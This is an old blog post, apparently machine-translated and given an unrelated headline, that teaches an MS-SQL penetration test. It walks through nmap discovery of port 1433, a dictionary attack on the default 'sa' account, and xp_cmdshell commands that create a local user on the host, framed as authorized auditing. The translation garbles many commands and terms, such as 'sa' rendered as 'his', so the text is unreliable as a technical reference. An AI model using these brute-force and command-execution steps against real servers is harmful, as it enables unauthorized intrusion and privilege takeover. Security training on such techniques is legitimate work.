Sunday, April 19, 2009

I Had Chlamydia Twice

[PENTESTING] [Database] MS-SQL Audit

After our adventure on theoretical OWASP, I return to the blog post for a technical. And this "comeback", I offer a first time to tackle a very sensitive part of the IS: databases! Indeed, this is where we often find the most confidential data ... Specifically, we consider the example bases such as MS-SQL.



1 - Mission: MS-SQL
The post presents a technique that is not supposed to be the best, nor exhaustive. The goal here is to see a way to

. At the risk of repeating myself, but it is very important, which is presented below can be achieved only within its own network or in a legal framework (with permission of the audited company).
Before entering the topic, you must know that this type of testing is more appropriate to internal penetration tests. If ever such a database was accessible from the Internet, you can imagine the criticality of the problem!
Finally, the client
OSQL,
used below, is provided free on the Microsoft website in the package MSDE. The connection to the server goes as follows:
osql.exe / S
server_ip / P password



2 - Identifying our target
2.1 / Find MS-SQL servers By default, MS-SQL databases using ports:


TCP / 1433
UDP/1434
NMAP can help us find the MS-SQL servers on the network audited (for example, the network 172.16.XXX.XXX):
nmap-v-sV-sS p-1433-oN-sql.txt NMAP_MS 172.16.0.0/16
Or better:

    nmap-sS-sV-p 1433 172.16.0.0/16 simple method is still limited because if the administrator does not use the default port, we miss our target!
  • 2.2 / Getting information about MS-SQL servers
There are several tools for information on MS-SQL servers audited. We show here the example of SQLRecon
:



The goal is to know the version numbers to possibly play such a feat if the server database is not maintained.


3 - Compromise of target
3.1 / Just a matter of account ...

A database MS-SQL has a default administrator account called his

. This account must be specifically protected. However, sometimes it is configured with the password ...
empty or its
! The default credentials
can therefore easily provide full access to the database.

If default accounts do not give positive results, we can attempt a dictionary attack

. For this, there is the tool SQLPing3cl : We ago:
completed file
user.txt with account names possible (eg its ) filled pass.txt
file with the list of passwords (otherwise, there are tons of files on the Net preconceived containing dictionary words;).
One of our servers is password its (from the output) ...

    172.XXX.XXX.XXX, 1433,
  • ServerName , MSSQLSERVER, 8.00.194,8.0.766,8.00.760,, No, (UDP) ServerName; ServerName, InstanceName; MSSQLSERVER; IsClustered; No. ; version, 8.00.194, tcp, 1433; np \\ \\
  • ServerName \\ pipe \\ sql \\ query;; (SA) Server this purpose blank SA login failed (Bruteforce )****
  • Brute Force Attempt Successful! User: Pass it: his ****, UDP TCP SA Bruteforce
3.2 / vulnerabilities Watch!

If despite your best efforts you do not get the password of his account
, we must return to a standby site security to find a loophole exploited by the version found (see section 2.2 / ). 4 - System hit!

You should know that a database by running default with Local System rights
. So imagine that the database is compromised and you can execute arbitrary commands ... it would be with the rights
NT AUTHORITY / SYSTEM ! Now, by default, MS-SQL has what we called
stored procedures. They allow to significantly increase the power of a database. In effect, this allows many useful predefined actions for the administrator ... or to the attacker. The procedure of interest here is

xp_cmdshell.
4.1 / Enable Stored Procedure
It is possible that the procedure we want - xp_cmdshell - is not activated. To find out, try a connection to the database and try running the stored procedure as follows: > xp_cmdshell 'ipconfig' > go

If you do not make mistakes, as in next picture, go immediately to Step 4.2 /



Otherwise, follow the instructions below allow activation of the procedure:




4.2 / Launch Command


We will continue our attack by creating an account on the host system: > xp_cmdshell 'net user jer001 M1ssion_pass / add'
> go

We check with the following commands:
> xp_cmdshell 'net user' > go Our account is added!


5 - Going further





At this stage, we were far enough in the compromise of the server. However, it is necessary to be exhaustive in a pentest. A server has been compromised in this way has not benefited hardening of adequate and therefore suffers certainly many vulnerabilities. This can be verified by further testing. In particular, we can help SQL script
SQLVulscan
. Here is a list of vulnerabilities that can find:



privilege service account; Authentication Method; stored procedure List; Presence databases default

presence of guest access;
Presence of accounts without a password; etc.. For

    run, use the following command:
  • c: \\> osql.exe / S 192.168.0.12 / U sa / P BDD_PASS / i SQLvulscan.sql
  • And as always, have fun!

0 comments:

Post a Comment